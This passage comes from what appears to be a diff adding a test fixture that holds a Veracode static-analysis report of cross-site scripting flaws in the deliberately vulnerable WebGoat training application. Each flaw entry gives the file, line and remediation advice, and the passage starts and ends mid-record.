+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
